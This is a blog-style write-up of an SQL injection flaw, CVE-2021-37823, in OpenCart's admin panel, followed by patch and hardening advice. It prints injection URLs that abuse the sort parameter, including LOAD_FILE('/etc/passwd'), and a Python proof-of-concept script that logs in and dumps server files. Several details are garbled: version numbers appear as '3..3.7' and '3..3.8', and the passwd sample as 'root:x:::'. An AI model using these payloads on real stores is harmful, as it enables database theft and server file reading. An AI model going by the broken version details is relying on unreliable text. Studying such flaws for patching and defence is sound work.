OpenCart is a popular open-source e-commerce platform—but like many web apps, it’s faced its share of security problems. One of the most serious? CVE-2021-37823, an SQL Injection bug that lets attackers pull data from your database or even read sensitive files on the server—all from the admin panel.

In this exclusive deep dive, I’ll show you what CVE-2021-37823 is, how it works, and how an attacker could exploit it. I’ll also point you to official references and fixes. So buckle up, and let’s keep our stores secure!

What’s CVE-2021-37823?

On August 9, 2021, security researcher Eric Kachucha (reference) discovered that OpenCart 3..3.7 contained a bad SQL injection vulnerability in the admin backend.

What does that mean?  
If you are a privileged user (like an admin), you can make crafted requests to steal sensitive data from the database—or even call MySQL’s LOAD_FILE to read arbitrary files on the server, like /etc/passwd.

These attacks work through weak user input handling in backend pages. With some prepared input, an attacker can slip their own SQL commands into the app’s queries.

Where Is the Vulnerability?

The root of the issue is in how OpenCart 3..3.7 handles sort and filter parameters in the admin panel. The values passed by an admin user for table sorting and filtering are directly injected into SQL statements—without any sanitization.

For example, if you go to admin/index.php?route=customer/customer in your store’s admin UI, you’ll see a customer list. This list can be sorted by different columns—sort and order parameters in the URL.

If an attacker is logged into the admin area with sufficient privileges, they can tamper these fields.

Here’s how a malicious URL might look

/admin/index.php?route=customer/customer&sort=(SELECT%20version())--

This injects SELECT version() as the sort parameter—if the value isn't sanitized, the resulting SQL looks something like this:

SELECT * FROM oc_customer ORDER BY (SELECT version())-- ASC

As a result, the attacker sees the MySQL server version right in the UI or in the SQL response.

Attackers could use the MySQL LOAD_FILE() function to pull files from the server

/admin/index.php?route=customer/customer&sort=(SELECT%20LOAD_FILE('/etc/passwd'))--

This results in a query like

SELECT * FROM oc_customer ORDER BY (SELECT LOAD_FILE('/etc/passwd'))-- ASC

If the MySQL user has the right permissions, this could return the entire contents of /etc/passwd (or any world-readable file) via the application—even though that file should never be accessible from the web.

Here’s a Simple Proof-of-Concept (PoC)

If you’re testing (and never run this on a live, public site!), here’s how a vulnerable request might look in Python using requests:

import requests

session = requests.Session()
login_url = 'http://your-opencart-domain/admin/index.php?route=common/login';

# Simulate a login (provide a valid admin user/pass)
payload = {
    'username': 'admin',
    'password': 'Password1'
}
session.post(login_url, data=payload)

# SQL injection exploit (try to read /etc/passwd)
exploit_url = 'http://your-opencart-domain/admin/index.php';
params = {
    'route': 'customer/customer',
    'sort': "(SELECT LOAD_FILE('/etc/passwd'))--"
}
response = session.get(exploit_url, params=params)

print(response.text)  # Scan response for /etc/passwd contents!

If you spot lines that look like "root:x:::", you know the exploit worked.

This is a privilege escalation vector

- You must be logged in as an admin/manager with access to the vulnerable pages (usually admin/customer/customer, but similar bugs may exist elsewhere).
- Anyone with those credentials could go from basic admin to full database control or even server file reading.

Huge impact: Read any database info, extract all user passwords, email addresses, and more.

- File reading: If the MySQL user is too privileged (uid /root), attackers can pull config files, hashes, API keys, etc.

Official References & Patches

- NVD Details for CVE-2021-37823
- OpenCart Issue Tracker Discussion
- Packet Storm Security Advisory

Patched?  
The issue was acknowledged and fixed in later OpenCart 3..3.8. The patch ensures only valid column names are allowed—not arbitrary SQL.


## How to Fix / Defend

1. Update OpenCart  
If you’re running anything before 3..3.8, upgrading is your only safe option!

2. Least Privilege MySQL  
Make sure your MySQL user CANNOT use LOAD_FILE or has access to dangerous files. Never run MySQL as root.

3. Input Validation  
If you must hotfix, strictly check that parameters like sort and order only contain allowed column names, e.g.:

$allowed_columns = ['name', 'email', 'date_added'];
if (!in_array($_GET['sort'], $allowed_columns)) {
    $_GET['sort'] = 'name'; // fallback
}

4. Admin Separation
Never share admin logins. Be extra careful who gets backend access, and always use 2FA.

Conclusion

CVE-2021-37823 is a textbook case of why input validation is vital—even for admin-only features. If you ever find yourself responsible for an OpenCart store, double check your version and stay on top of security advisories.

Remember, the simplest URL tweak could hand an attacker your entire database or server secrets!

Want more security breakdowns? Hit subscribe, and keep your data locked down.

References

- CVE-2021-37823 on NVD
- OpenCart Patch Discussion
- Packet Storm Advisory

Timeline

Published on: 11/03/2022 17:15:00 UTC
Last modified on: 12/03/2022 02:54:00 UTC